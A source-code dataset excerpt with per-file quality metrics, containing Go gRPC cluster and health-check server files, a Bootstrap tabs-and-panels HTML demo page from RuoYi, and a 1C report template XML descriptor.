{"qsc_code_num_words": 521, "qsc_code_num_chars": 4257.0, "qsc_code_mean_word_length": 5.61036468, "qsc_code_frac_words_unique": 0.22264875, "qsc_code_frac_chars_top_2grams": 0.01505303, "qsc_code_frac_chars_top_3grams": 0.0215532, "qsc_code_frac_chars_top_4grams": 0.03079028, "qsc_code_frac_chars_dupe_5grams": 0.4844338, "qsc_code_frac_chars_dupe_6grams": 0.41464249, "qsc_code_frac_chars_dupe_7grams": 0.36332535, "qsc_code_frac_chars_dupe_8grams": 0.32637701, "qsc_code_frac_chars_dupe_9grams": 0.26411221, "qsc_code_frac_chars_dupe_10grams": 0.25384879, "qsc_code_frac_chars_replacement_symbols": 0.0, "qsc_code_frac_chars_digital": 0.00699301, "qsc_code_frac_chars_whitespace": 0.16020672, "qsc_code_size_file_byte": 4257.0, "qsc_code_num_lines": 166.0, "qsc_code_num_chars_line_max": 138.0, "qsc_code_num_chars_line_mean": 25.64457831, "qsc_code_frac_chars_alphabet": 0.81062937, "qsc_code_frac_chars_comments": 0.0, "qsc_code_cate_xml_start": 0.0, "qsc_code_frac_lines_dupe_lines": 0.42142857, "qsc_code_cate_autogen": 0.0, "qsc_code_frac_lines_long_string": 0.0, "qsc_code_frac_chars_string_length": 0.16138125, "qsc_code_frac_chars_long_word_length": 0.04369274, "qsc_code_frac_lines_string_concat": 0.0, "qsc_code_cate_encoded_data": 0.0, "qsc_code_frac_chars_hex_words": 0.0, "qsc_code_frac_lines_prompt_comments": 0.0, "qsc_code_frac_lines_assert": 0.09285714, "qsc_codego_cate_testfile": 0.0, "qsc_codego_frac_lines_func_ratio": 0.05, "qsc_codego_cate_var_zero": 0.0, "qsc_codego_score_lines_no_logic": 0.07142857, "qsc_codego_frac_lines_print": 0.0}
1
{"qsc_code_frac_chars_replacement_symbols": 0, "qsc_code_num_words": 0, "qsc_code_num_chars": 0, "qsc_code_mean_word_length": 0, "qsc_code_frac_chars_top_2grams": 0, "qsc_code_frac_chars_top_3grams": 0, "qsc_code_frac_chars_top_4grams": 0, "qsc_code_frac_chars_dupe_5grams": 0, "qsc_code_frac_chars_dupe_6grams": 0, "qsc_code_frac_chars_dupe_7grams": 0, "qsc_code_frac_chars_dupe_8grams": 0, "qsc_code_frac_chars_dupe_9grams": 0, "qsc_code_frac_chars_dupe_10grams": 0, "qsc_code_size_file_byte": 0, "qsc_code_num_lines": 0, "qsc_code_num_chars_line_max": 0, "qsc_code_num_chars_line_mean": 0, "qsc_code_frac_chars_alphabet": 0, "qsc_code_frac_chars_digital": 0, "qsc_code_frac_chars_whitespace": 0, "qsc_code_frac_chars_comments": 0, "qsc_code_cate_xml_start": 0, "qsc_code_frac_lines_dupe_lines": 0, "qsc_code_cate_autogen": 0, "qsc_code_frac_lines_long_string": 0, "qsc_code_frac_chars_string_length": 0, "qsc_code_frac_chars_long_word_length": 0, "qsc_code_cate_encoded_data": 0, "qsc_code_frac_chars_hex_words": 0, "qsc_code_frac_lines_prompt_comments": 0, "qsc_codego_cate_testfile": 0, "qsc_codego_frac_lines_func_ratio": 0, "qsc_codego_cate_var_zero": 0, "qsc_codego_score_lines_no_logic": 0, "qsc_codego_frac_lines_print": 0}
1xyz/coolbeans
cluster/server/cluster_server.go
package server import ( "errors" v1 "github.com/1xyz/coolbeans/api/v1" "github.com/1xyz/coolbeans/store" log "github.com/sirupsen/logrus" "golang.org/x/net/context" "google.golang.org/grpc/codes" "google.golang.org/grpc/status" ) type RaftCluster interface { // Join, joins this node, identified by nodeID and reachable at addr, // to an existing Raft cluster. Join(nodeID, addr string) error // Leave, leave this specified node, identified by nodeID from // an existing Raft cluster. Leave(nodeID string) error // Returns true if this specified node is a Leader IsLeader() bool // Ask the node to take a snapshot Snapshot() error } type ClusterServer struct { v1.UnimplementedClusterServer rc RaftCluster } func NewClusterServer(rc RaftCluster) *ClusterServer { return &ClusterServer{ rc: rc, } } // Join joins a node, identified by nodeID and located at addr, to this cluster. // The node must be ready to respond to Raft communications at that address. // // It is required that the node that this is called into is a leader node. func (c *ClusterServer) Join(ctx context.Context, req *v1.JoinRequest) (*v1.Empty, error) { logc := log.WithFields(log.Fields{"method": "Join", "nodeID": req.NodeId, "addr": req.Addr}) if err := c.rc.Join(req.NodeId, req.Addr); err != nil { logc.Errorf("c.rc.Join. err = %v", err) if errors.Is(err, store.ErrNotRaftLeader) { return nil, status.Errorf(codes.FailedPrecondition, "%s", store.ErrNotRaftLeader) } return nil, err } else { logc.Infof("join completed success") return &v1.Empty{}, nil } } // Leave leaves a node, identified by nodeID and located at addr, to this store. // // It is required that the node that this is called into is a leader node. func (c *ClusterServer) Leave(ctx context.Context, req *v1.LeaveRequest) (*v1.Empty, error) { logc := log.WithFields(log.Fields{"method": "Leave", "nodeID": req.NodeId}) if err := c.rc.Leave(req.NodeId); err != nil { logc.Errorf("c.rc.Leave. err = %v", err) if errors.Is(err, store.ErrNotRaftLeader) { return nil, status.Errorf(codes.FailedPrecondition, "%s", store.ErrNotRaftLeader) } return nil, err } else { logc.Infof("leaved completed success") return &v1.Empty{}, nil } } func (c *ClusterServer) IsNodeLeader(ctx context.Context, req *v1.Empty) (*v1.IsNodeLeaderResponse, error) { return &v1.IsNodeLeaderResponse{ IsLeader: c.rc.IsLeader(), }, nil } func (c *ClusterServer) Snapshot(ctx context.Context, req *v1.Empty) (*v1.Empty, error) { if err := c.rc.Snapshot(); err != nil { return nil, err } return &v1.Empty{}, nil }
2,606
cluster_server
go
en
go
code
{"qsc_code_num_words": 373, "qsc_code_num_chars": 2606.0, "qsc_code_mean_word_length": 4.94101877, "qsc_code_frac_words_unique": 0.27613941, "qsc_code_frac_chars_top_2grams": 0.03038524, "qsc_code_frac_chars_top_3grams": 0.03472599, "qsc_code_frac_chars_top_4grams": 0.04774824, "qsc_code_frac_chars_dupe_5grams": 0.47042865, "qsc_code_frac_chars_dupe_6grams": 0.4069452, "qsc_code_frac_chars_dupe_7grams": 0.35160065, "qsc_code_frac_chars_dupe_8grams": 0.32013022, "qsc_code_frac_chars_dupe_9grams": 0.32013022, "qsc_code_frac_chars_dupe_10grams": 0.27238199, "qsc_code_frac_chars_replacement_symbols": 0.0, "qsc_code_frac_chars_digital": 0.00775547, "qsc_code_frac_chars_whitespace": 0.15886416, "qsc_code_size_file_byte": 2606.0, "qsc_code_num_lines": 89.0, "qsc_code_num_chars_line_max": 109.0, "qsc_code_num_chars_line_mean": 29.28089888, "qsc_code_frac_chars_alphabet": 0.8330292, "qsc_code_frac_chars_comments": 0.25402916, "qsc_code_cate_xml_start": 0.0, "qsc_code_frac_lines_dupe_lines": 0.19354839, "qsc_code_cate_autogen": 0.0, "qsc_code_frac_lines_long_string": 0.0, "qsc_code_frac_chars_string_length": 0.15534979, "qsc_code_frac_chars_long_word_length": 0.08744856, "qsc_code_frac_lines_string_concat": 0.0, "qsc_code_cate_encoded_data": 0.0, "qsc_code_frac_chars_hex_words": 0.0, "qsc_code_frac_lines_prompt_comments": 0.0, "qsc_code_frac_lines_assert": 0.0, "qsc_codego_cate_testfile": 0.0, "qsc_codego_frac_lines_func_ratio": 0.08064516, "qsc_codego_cate_var_zero": 0.0, "qsc_codego_score_lines_no_logic": 0.29032258, "qsc_codego_frac_lines_print": 0.0}
1
{"qsc_code_frac_chars_replacement_symbols": 0, "qsc_code_num_words": 0, "qsc_code_num_chars": 0, "qsc_code_mean_word_length": 0, "qsc_code_frac_chars_top_2grams": 0, "qsc_code_frac_chars_top_3grams": 0, "qsc_code_frac_chars_top_4grams": 0, "qsc_code_frac_chars_dupe_5grams": 0, "qsc_code_frac_chars_dupe_6grams": 0, "qsc_code_frac_chars_dupe_7grams": 0, "qsc_code_frac_chars_dupe_8grams": 0, "qsc_code_frac_chars_dupe_9grams": 0, "qsc_code_frac_chars_dupe_10grams": 0, "qsc_code_size_file_byte": 0, "qsc_code_num_lines": 0, "qsc_code_num_chars_line_max": 0, "qsc_code_num_chars_line_mean": 0, "qsc_code_frac_chars_alphabet": 0, "qsc_code_frac_chars_digital": 0, "qsc_code_frac_chars_whitespace": 0, "qsc_code_frac_chars_comments": 0, "qsc_code_cate_xml_start": 0, "qsc_code_frac_lines_dupe_lines": 0, "qsc_code_cate_autogen": 0, "qsc_code_frac_lines_long_string": 0, "qsc_code_frac_chars_string_length": 0, "qsc_code_frac_chars_long_word_length": 0, "qsc_code_cate_encoded_data": 0, "qsc_code_frac_chars_hex_words": 0, "qsc_code_frac_lines_prompt_comments": 0, "qsc_codego_cate_testfile": 0, "qsc_codego_frac_lines_func_ratio": 0, "qsc_codego_cate_var_zero": 0, "qsc_codego_score_lines_no_logic": 0, "qsc_codego_frac_lines_print": 0}
1diot9/MyJavaSecStudy
CodeAudit/RuoYi/RuoYi-4.7.5/ruoyi-admin/src/main/resources/templates/demo/form/tabs_panels.html
<!DOCTYPE html> <html lang="zh"> <head> <th:block th:include="include :: header('选项卡 & 面板')" /> </head> <body class="gray-bg"> <div class="wrapper wrapper-content animated fadeIn"> <div class="row"> <div class="col-sm-12"> <div class="ibox float-e-margins"> <div class="ibox-title"> <h5>基本面板 <small class="m-l-sm">这是一个自定义面板</small></h5> <div class="ibox-tools"> <a class="collapse-link"> <i class="fa fa-chevron-up"></i> </a> <a class="dropdown-toggle" data-toggle="dropdown" href="#"> <i class="fa fa-wrench"></i> </a> <ul class="dropdown-menu dropdown-user"> <li><a href="#">选项1</a> </li> <li><a href="#">选项2</a> </li> </ul> <a class="close-link"> <i class="fa fa-times"></i> </a> </div> </div> <div class="ibox-content"> <h2> Bootstrap<br/> </h2> <p> 简洁、直观、强悍的前端开发框架,让web开发更迅速、简单。</p> </div> </div> </div> </div> <div class="row"> <div class="col-sm-6"> <div class="tabs-container"> <ul class="nav nav-tabs"> <li class="active"><a data-toggle="tab" href="#tab-1" aria-expanded="true"> 第一个选项卡</a> </li> <li class=""><a data-toggle="tab" href="#tab-2" aria-expanded="false">第二个选项卡</a> </li> </ul> <div class="tab-content"> <div id="tab-1" class="tab-pane active"> <div class="panel-body"> <strong>HTML5 文档类型</strong> <p>Bootstrap 使用到的某些 HTML 元素和 CSS 属性需要将页面设置为 HTML5 文档类型。在你项目中的每个页面都要参照下面的格式进行设置。</p> </div> </div> <div id="tab-2" class="tab-pane"> <div class="panel-body"> <strong>移动设备优先</strong> <p>在 Bootstrap 2 中,我们对框架中的某些关键部分增加了对移动设备友好的样式。而在 Bootstrap 3 中,我们重写了整个框架,使其一开始就是对移动设备友好的。这次不是简单的增加一些可选的针对移动设备的样式,而是直接融合进了框架的内核中。也就是说,Bootstrap 是移动设备优先的。针对移动设备的样式融合进了框架的每个角落,而不是增加一个额外的文件。</p> </div> </div> </div> </div> </div> <div class="col-sm-6"> <div class="panel blank-panel"> <div class="panel-heading"> <div class="panel-title m-b-md"> <h4>图标选项卡</h4> </div> <div class="panel-options"> <ul class="nav nav-tabs"> <li class="active"><a data-toggle="tab" href="#tab-4"><i class="fa fa-laptop"></i></a> </li> <li class=""><a data-toggle="tab" href="#tab-5"><i class="fa fa-desktop"></i></a> </li> <li class=""><a data-toggle="tab" href="#tab-6"><i class="fa fa-signal"></i></a> </li> <li class=""><a data-toggle="tab" href="#tab-7"><i class="fa fa-bar-chart-o"></i></a> </li> </ul> </div> </div> <div class="panel-body"> <div class="tab-content"> <div id="tab-4" class="tab-pane active"> <strong>排版与链接</strong> <p>Bootstrap 排版、链接样式设置了基本的全局样式。分别是: 为 body 元素设置 background-color: #fff; 使用 @font-family-base、@font-size-base 和 @line-height-base a变量作为排版的基本参数 为所有链接设置了基本颜色 @link-color ,并且当链接处于 :hover 状态时才添加下划线 这些样式都能在 scaffolding.less 文件中找到对应的源码。</p> </div> <div id="tab-5" class="tab-pane"> <strong>Normalize.css</strong> <p>为了增强跨浏览器表现的一致性,我们使用了 Normalize.css,这是由 Nicolas Gallagher 和 Jonathan Neal 维护的一个CSS 重置样式库。</p> </div> <div id="tab-6" class="tab-pane"> <strong>布局容器</strong> <p>Bootstrap 需要为页面内容和栅格系统包裹一个 .container 容器。我们提供了两个作此用处的类。注意,由于 padding 等属性的原因,这两种 容器类不能互相嵌套。</p> </div> <div id="tab-7" class="tab-pane"> <strong>栅格系统</strong> <p>Bootstrap 提供了一套响应式、移动设备优先的流式栅格系统,随着屏幕或视口(viewport)尺寸的增加,系统会自动分为最多12列。它包含了易于使用的预定义类,还有强大的mixin 用于生成更具语义的布局。</p> </div> </div> </div> </div> </div> </div> <div class="row m-b-lg"> <div class="col-sm-6"> <div class="tabs-container"> <div class="tabs-left"> <ul class="nav nav-tabs"> <li class="active"><a data-toggle="tab" href="#tab-8"> 第一个选项卡</a> </li> <li class=""><a data-toggle="tab" href="#tab-9"> 第二个选项卡</a> </li> </ul> <div class="tab-content "> <div id="tab-8" class="tab-pane active"> <div class="panel-body"> <strong>排版与链接</strong> <p>Bootstrap 排版、链接样式设置了基本的全局样式。分别是: 为 body 元素设置 background-color: #fff; 使用 @font-family-base、@font-size-base 和 @line-height-base a变量作为排版的基本参数 为所有链接设置了基本颜色 @link-color ,并且当链接处于 :hover 状态时才添加下划线 这些样式都能在 scaffolding.less 文件中找到对应的源码。</p> </div> </div> <div id="tab-9" class="tab-pane"> <div class="panel-body"> <strong>栅格系统</strong> <p>Bootstrap 提供了一套响应式、移动设备优先的流式栅格系统,随着屏幕或视口(viewport)尺寸的增加,系统会自动分为最多12列。它包含了易于使用的预定义类,还有强大的mixin 用于生成更具语义的布局。</p> </div> </div> </div> </div> </div> </div> <div class="col-sm-6"> <div class="tabs-container"> <div class="tabs-right"> <ul class="nav nav-tabs"> <li class="active"><a data-toggle="tab" href="#tab-10">第一个选项卡</a> </li> <li class=""><a data-toggle="tab" href="#tab-11"> 第二个选项卡</a> </li> </ul> <div class="tab-content "> <div id="tab-10" class="tab-pane active"> <div class="panel-body"> <strong>排版与链接</strong> <p>Bootstrap 排版、链接样式设置了基本的全局样式。分别是: 为 body 元素设置 background-color: #fff; 使用 @font-family-base、@font-size-base 和 @line-height-base a变量作为排版的基本参数 为所有链接设置了基本颜色 @link-color ,并且当链接处于 :hover 状态时才添加下划线 这些样式都能在 scaffolding.less 文件中找到对应的源码。</p> </div> </div> <div id="tab-11" class="tab-pane"> <div class="panel-body"> <strong>栅格系统</strong> <p>Bootstrap 提供了一套响应式、移动设备优先的流式栅格系统,随着屏幕或视口(viewport)尺寸的增加,系统会自动分为最多12列。它包含了易于使用的预定义类,还有强大的mixin 用于生成更具语义的布局。</p> </div> </div> </div> </div> </div> </div> </div> <div class="row"> <div class="col-sm-12"> <div class="ibox"> <div class="ibox-title"> <h5>Bootstrap面板 <small>自定义背景</small></h5> </div> <div class="ibox-content"> <div class="row"> <div class="col-sm-4"> <div class="panel panel-default"> <div class="panel-heading"> 默认面板 </div> <div class="panel-body"> <p>通过 .panel-heading 可以很简单地为面板加入一个标题容器。你也可以通过添加设置了 .panel-title 类的标签,添加一个预定义样式的标题。 为了给链接设置合适的颜色,务必将链接放到带有 .panel-title 类的标题标签内。</p> </div> </div> </div> <div class="col-sm-4"> <div class="panel panel-primary"> <div class="panel-heading"> 主要 </div> <div class="panel-body"> <p>通过 .panel-heading 可以很简单地为面板加入一个标题容器。你也可以通过添加设置了 .panel-title 类的标签,添加一个预定义样式的标题。 为了给链接设置合适的颜色,务必将链接放到带有 .panel-title 类的标题标签内。</p> </div> </div> </div> <div class="col-sm-4"> <div class="panel panel-success"> <div class="panel-heading"> 成功 </div> <div class="panel-body"> <p>通过 .panel-heading 可以很简单地为面板加入一个标题容器。你也可以通过添加设置了 .panel-title 类的标签,添加一个预定义样式的标题。 为了给链接设置合适的颜色,务必将链接放到带有 .panel-title 类的标题标签内。</p> </div> </div> </div> </div> <div class="row"> <div class="col-sm-4"> <div class="panel panel-info"> <div class="panel-heading"> <i class="fa fa-info-circle"></i> 信息 </div> <div class="panel-body"> <p>通过 .panel-heading 可以很简单地为面板加入一个标题容器。你也可以通过添加设置了 .panel-title 类的标签,添加一个预定义样式的标题。 为了给链接设置合适的颜色,务必将链接放到带有 .panel-title 类的标题标签内。</p> </div> </div> </div> <div class="col-sm-4"> <div class="panel panel-warning"> <div class="panel-heading"> <i class="fa fa-warning"></i> 警告 </div> <div class="panel-body"> <p>通过 .panel-heading 可以很简单地为面板加入一个标题容器。你也可以通过添加设置了 .panel-title 类的标签,添加一个预定义样式的标题。 为了给链接设置合适的颜色,务必将链接放到带有 .panel-title 类的标题标签内。</p> </div> </div> </div> <div class="col-sm-4"> <div class="panel panel-danger"> <div class="panel-heading"> 危险 </div> <div class="panel-body"> <p>通过 .panel-heading 可以很简单地为面板加入一个标题容器。你也可以通过添加设置了 .panel-title 类的标签,添加一个预定义样式的标题。 为了给链接设置合适的颜色,务必将链接放到带有 .panel-title 类的标题标签内。</p> </div> <div class="panel-footer"> 面板Footer </div> </div> </div> </div> </div> </div> </div> </div> <div class="row"> <div class="col-sm-6"> <div class="ibox float-e-margins"> <div class="ibox-title"> <h5>折叠面板</h5> <div class="ibox-tools"> <a class="collapse-link"> <i class="fa fa-chevron-up"></i> </a> <a class="dropdown-toggle" data-toggle="dropdown" href="#"> <i class="fa fa-wrench"></i> </a> <ul class="dropdown-menu dropdown-user"> <li><a href="#">选项1</a> </li> <li><a href="#">选项2</a> </li> </ul> <a class="close-link"> <i class="fa fa-times"></i> </a> </div> </div> <div class="ibox-content"> <div class="panel-body"> <div class="panel-group" id="accordion"> <div class="panel panel-default"> <div class="panel-heading"> <h5 class="panel-title"> <a data-toggle="collapse" data-parent="#accordion" href="#collapseOne">标题 #1</a> </h5> </div> <div id="collapseOne" class="panel-collapse collapse in"> <div class="panel-body"> Bootstrap相关优质项目推荐 这些项目或者是对Bootstrap进行了有益的补充,或者是基于Bootstrap开发的 </div> </div> </div> <div class="panel panel-default"> <div class="panel-heading"> <h4 class="panel-title"> <a data-toggle="collapse" data-parent="#accordion" href="#collapseTwo">标题 #2</a> </h4> </div> <div id="collapseTwo" class="panel-collapse collapse"> <div class="panel-body"> Bootstrap相关优质项目推荐 这些项目或者是对Bootstrap进行了有益的补充,或者是基于Bootstrap开发的 </div> </div> </div> <div class="panel panel-default"> <div class="panel-heading"> <h4 class="panel-title"> <a data-toggle="collapse" data-parent="#accordion" href="#collapseThree">标题 #3</a> </h4> </div> <div id="collapseThree" class="panel-collapse collapse"> <div class="panel-body"> Bootstrap相关优质项目推荐 这些项目或者是对Bootstrap进行了有益的补充,或者是基于Bootstrap开发的 </div> </div> </div> </div> </div> </div> </div> </div> <div class="col-sm-6"> <div class="jumbotron"> <h1>超大屏幕</h1> <p>Bootstrap 支持的另一个特性,超大屏幕(Jumbotron)。顾名思义该组件可以增加标题的大小,并为登录页面内容添加更多的外边距(margin)。使用超大屏幕(Jumbotron)的步骤如下:</p> <div class="alert alert-warning"> <ol> <li>创建一个带有 class .jumbotron. 的容器</li> <li>除了更大的 &lt;h1&gt;,字体粗细 font-weight 被减为 200px。</li> </ol> </div> <p><a role="button" class="btn btn-primary btn-lg">了解更多</a> </p> </div> </div> </div> </div> <th:block th:include="include :: footer" /> </body> </html>
17,728
tabs_panels
html
en
html
code
{"qsc_code_num_words": 1366, "qsc_code_num_chars": 17728.0, "qsc_code_mean_word_length": 4.50073206, "qsc_code_frac_words_unique": 0.17862372, "qsc_code_frac_chars_top_2grams": 0.093689, "qsc_code_frac_chars_top_3grams": 0.08783344, "qsc_code_frac_chars_top_4grams": 0.07612232, "qsc_code_frac_chars_dupe_5grams": 0.75731945, "qsc_code_frac_chars_dupe_6grams": 0.73536109, "qsc_code_frac_chars_dupe_7grams": 0.72739102, "qsc_code_frac_chars_dupe_8grams": 0.71811971, "qsc_code_frac_chars_dupe_9grams": 0.70266753, "qsc_code_frac_chars_dupe_10grams": 0.6816851, "qsc_code_frac_chars_replacement_symbols": 0.0, "qsc_code_frac_chars_digital": 0.00965534, "qsc_code_frac_chars_whitespace": 0.53847022, "qsc_code_size_file_byte": 17728.0, "qsc_code_num_lines": 353.0, "qsc_code_num_chars_line_max": 270.0, "qsc_code_num_chars_line_mean": 50.22096317, "qsc_code_frac_chars_alphabet": 0.74175018, "qsc_code_frac_chars_comments": 0.0, "qsc_code_cate_xml_start": 0.0, "qsc_code_frac_lines_dupe_lines": 0.73538462, "qsc_code_cate_autogen": 0.0, "qsc_code_frac_lines_long_string": 0.0, "qsc_code_frac_chars_string_length": 0.11061597, "qsc_code_frac_chars_long_word_length": 0.0, "qsc_code_frac_lines_string_concat": 0.0, "qsc_code_cate_encoded_data": 0.0, "qsc_code_frac_chars_hex_words": 0.0, "qsc_code_frac_lines_prompt_comments": 0.0, "qsc_code_frac_lines_assert": 0.0, "qsc_codehtml_cate_ast": 1.0, "qsc_codehtml_frac_words_text": 0.21705776, "qsc_codehtml_num_chars_text": 3848.0}
0
{"qsc_code_frac_chars_replacement_symbols": 0, "qsc_code_num_words": 0, "qsc_code_num_chars": 0, "qsc_code_mean_word_length": 0, "qsc_code_frac_chars_top_2grams": 0, "qsc_code_frac_chars_top_3grams": 0, "qsc_code_frac_chars_top_4grams": 0, "qsc_code_frac_chars_dupe_5grams": 1, "qsc_code_frac_chars_dupe_6grams": 1, "qsc_code_frac_chars_dupe_7grams": 1, "qsc_code_frac_chars_dupe_8grams": 1, "qsc_code_frac_chars_dupe_9grams": 1, "qsc_code_frac_chars_dupe_10grams": 1, "qsc_code_size_file_byte": 0, "qsc_code_num_lines": 0, "qsc_code_num_chars_line_max": 0, "qsc_code_num_chars_line_mean": 0, "qsc_code_frac_chars_alphabet": 0, "qsc_code_frac_chars_digital": 0, "qsc_code_frac_chars_whitespace": 1, "qsc_code_cate_xml_start": 0, "qsc_code_frac_lines_dupe_lines": 1, "qsc_code_cate_autogen": 0, "qsc_code_cate_encoded_data": 0, "qsc_code_frac_chars_hex_words": 0, "qsc_codehtml_cate_ast": 0, "qsc_codehtml_frac_words_text": 0, "qsc_codehtml_num_chars_text": 0}
1c-syntax/ssl_3_1
src/cf/Reports/КонтрольРассылкиОтчетов/Templates/ОсновнаяСхемаКомпоновкиДанных.xml
<?xml version="1.0" encoding="UTF-8"?> <MetaDataObject xmlns="http://v8.1c.ru/8.3/MDClasses" xmlns:app="http://v8.1c.ru/8.2/managed-application/core" xmlns:cfg="http://v8.1c.ru/8.1/data/enterprise/current-config" xmlns:cmi="http://v8.1c.ru/8.2/managed-application/cmi" xmlns:ent="http://v8.1c.ru/8.1/data/enterprise" xmlns:lf="http://v8.1c.ru/8.2/managed-application/logform" xmlns:style="http://v8.1c.ru/8.1/data/ui/style" xmlns:sys="http://v8.1c.ru/8.1/data/ui/fonts/system" xmlns:v8="http://v8.1c.ru/8.1/data/core" xmlns:v8ui="http://v8.1c.ru/8.1/data/ui" xmlns:web="http://v8.1c.ru/8.1/data/ui/colors/web" xmlns:win="http://v8.1c.ru/8.1/data/ui/colors/windows" xmlns:xen="http://v8.1c.ru/8.3/xcf/enums" xmlns:xpr="http://v8.1c.ru/8.3/xcf/predef" xmlns:xr="http://v8.1c.ru/8.3/xcf/readable" xmlns:xs="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" version="2.18"> <Template uuid="b4fa35f9-cb7e-46a8-b32b-801d212c8fcf"> <Properties> <Name>ОсновнаяСхемаКомпоновкиДанных</Name> <Synonym> <v8:item> <v8:lang>ru</v8:lang> <v8:content>Основная схема компоновки данных</v8:content> </v8:item> </Synonym> <Comment/> <TemplateType>DataCompositionSchema</TemplateType> </Properties> </Template> </MetaDataObject>
1,286
ОсновнаяСхемаКомпоновкиДанных
xml
ru
xml
data
{"qsc_code_num_words": 226, "qsc_code_num_chars": 1286.0, "qsc_code_mean_word_length": 3.99557522, "qsc_code_frac_words_unique": 0.34070796, "qsc_code_frac_chars_top_2grams": 0.09966777, "qsc_code_frac_chars_top_3grams": 0.13289037, "qsc_code_frac_chars_top_4grams": 0.16611296, "qsc_code_frac_chars_dupe_5grams": 0.40642303, "qsc_code_frac_chars_dupe_6grams": 0.40642303, "qsc_code_frac_chars_dupe_7grams": 0.33776301, "qsc_code_frac_chars_dupe_8grams": 0.27021041, "qsc_code_frac_chars_dupe_9grams": 0.05315615, "qsc_code_frac_chars_dupe_10grams": 0.0, "qsc_code_frac_chars_replacement_symbols": 0.0, "qsc_code_frac_chars_digital": 0.08360927, "qsc_code_frac_chars_whitespace": 0.06065319, "qsc_code_size_file_byte": 1286.0, "qsc_code_num_lines": 16.0, "qsc_code_num_chars_line_max": 869.0, "qsc_code_num_chars_line_mean": 80.375, "qsc_code_frac_chars_alphabet": 0.66307947, "qsc_code_frac_chars_comments": 0.0, "qsc_code_cate_xml_start": 1.0, "qsc_code_frac_lines_dupe_lines": 0.0, "qsc_code_cate_autogen": 0.0, "qsc_code_frac_lines_long_string": 0.0, "qsc_code_frac_chars_string_length": 0.52021773, "qsc_code_frac_chars_long_word_length": 0.02799378, "qsc_code_frac_lines_string_concat": 0.0, "qsc_code_cate_encoded_data": 0.0, "qsc_code_frac_chars_hex_words": 0.0, "qsc_code_frac_lines_prompt_comments": 0.0, "qsc_code_frac_lines_assert": 0.0}
0
{"qsc_code_frac_chars_replacement_symbols": 0, "qsc_code_num_words": 0, "qsc_code_num_chars": 0, "qsc_code_mean_word_length": 0, "qsc_code_frac_words_unique": 1, "qsc_code_frac_chars_top_2grams": 0, "qsc_code_frac_chars_top_3grams": 0, "qsc_code_frac_chars_top_4grams": 1, "qsc_code_frac_chars_dupe_5grams": 0, "qsc_code_frac_chars_dupe_6grams": 0, "qsc_code_frac_chars_dupe_7grams": 0, "qsc_code_frac_chars_dupe_8grams": 0, "qsc_code_frac_chars_dupe_9grams": 0, "qsc_code_frac_chars_dupe_10grams": 0, "qsc_code_frac_lines_dupe_lines": 0, "qsc_code_size_file_byte": 0, "qsc_code_num_lines": 0, "qsc_code_num_chars_line_max": 0, "qsc_code_num_chars_line_mean": 0, "qsc_code_frac_chars_alphabet": 0, "qsc_code_frac_chars_digital": 0, "qsc_code_frac_chars_whitespace": 0, "qsc_code_frac_chars_comments": 0, "qsc_code_cate_xml_start": 1, "qsc_code_cate_autogen": 0, "qsc_code_frac_chars_long_word_length": 0, "qsc_code_cate_encoded_data": 0, "qsc_code_frac_chars_hex_words": 0}
1xyz/coolbeans
cluster/server/health_server.go
package server import ( log "github.com/sirupsen/logrus" "golang.org/x/net/context" healthV1 "google.golang.org/grpc/health/grpc_health_v1" "time" ) type ServiceReadiness interface { // Ready indicates if this service is ready to accept traffic Ready() bool } type HealthCheckServer struct { healthV1.UnimplementedHealthServer tickDuration time.Duration shutdownCh chan bool serviceReadiness ServiceReadiness } func (h *HealthCheckServer) Check(ctx context.Context, req *healthV1.HealthCheckRequest) (*healthV1.HealthCheckResponse, error) { s := healthV1.HealthCheckResponse_UNKNOWN if h.serviceReadiness == nil { s = healthV1.HealthCheckResponse_UNKNOWN } else if h.serviceReadiness.Ready() { s = healthV1.HealthCheckResponse_SERVING } else { s = healthV1.HealthCheckResponse_NOT_SERVING } log.Debugf("check: req svc: %v status= %v", req.Service, s) return &healthV1.HealthCheckResponse{ Status: s, }, nil } func (h *HealthCheckServer) Watch(req *healthV1.HealthCheckRequest, stream healthV1.Health_WatchServer) error { ticker := time.NewTicker(h.tickDuration) defer ticker.Stop() for { select { case t := <-ticker.C: resp, err := h.Check(stream.Context(), req) if err != nil { return err } log.Debugf("watch: sending resp at %v resp=%v", t, resp) stream.Send(resp) case <-h.shutdownCh: log.Debugf("watch: shutdown signaled") return nil } } } func NewHealthCheckServer(s ServiceReadiness) *HealthCheckServer { return &HealthCheckServer{ tickDuration: time.Second, shutdownCh: make(chan bool), serviceReadiness: s, } }
1,622
health_server
go
en
go
code
{"qsc_code_num_words": 186, "qsc_code_num_chars": 1622.0, "qsc_code_mean_word_length": 6.30645161, "qsc_code_frac_words_unique": 0.43010753, "qsc_code_frac_chars_top_2grams": 0.13810742, "qsc_code_frac_chars_top_3grams": 0.09548167, "qsc_code_frac_chars_top_4grams": 0.05967604, "qsc_code_frac_chars_dupe_5grams": 0.0, "qsc_code_frac_chars_dupe_6grams": 0.0, "qsc_code_frac_chars_dupe_7grams": 0.0, "qsc_code_frac_chars_dupe_8grams": 0.0, "qsc_code_frac_chars_dupe_9grams": 0.0, "qsc_code_frac_chars_dupe_10grams": 0.0, "qsc_code_frac_chars_replacement_symbols": 0.0, "qsc_code_frac_chars_digital": 0.00884956, "qsc_code_frac_chars_whitespace": 0.16399507, "qsc_code_size_file_byte": 1622.0, "qsc_code_num_lines": 68.0, "qsc_code_num_chars_line_max": 112.0, "qsc_code_num_chars_line_mean": 23.85294118, "qsc_code_frac_chars_alphabet": 0.85619469, "qsc_code_frac_chars_comments": 0.03760789, "qsc_code_cate_xml_start": 0.0, "qsc_code_frac_lines_dupe_lines": 0.0, "qsc_code_cate_autogen": 0.0, "qsc_code_frac_lines_long_string": 0.0, "qsc_code_frac_chars_string_length": 0.11787316, "qsc_code_frac_chars_long_word_length": 0.06021781, "qsc_code_frac_lines_string_concat": 0.0, "qsc_code_cate_encoded_data": 0.0, "qsc_code_frac_chars_hex_words": 0.0, "qsc_code_frac_lines_prompt_comments": 0.0, "qsc_code_frac_lines_assert": 0.0, "qsc_codego_cate_testfile": 0.0, "qsc_codego_frac_lines_func_ratio": 0.05357143, "qsc_codego_cate_var_zero": 0.0, "qsc_codego_score_lines_no_logic": 0.17857143, "qsc_codego_frac_lines_print": 0.0}
1
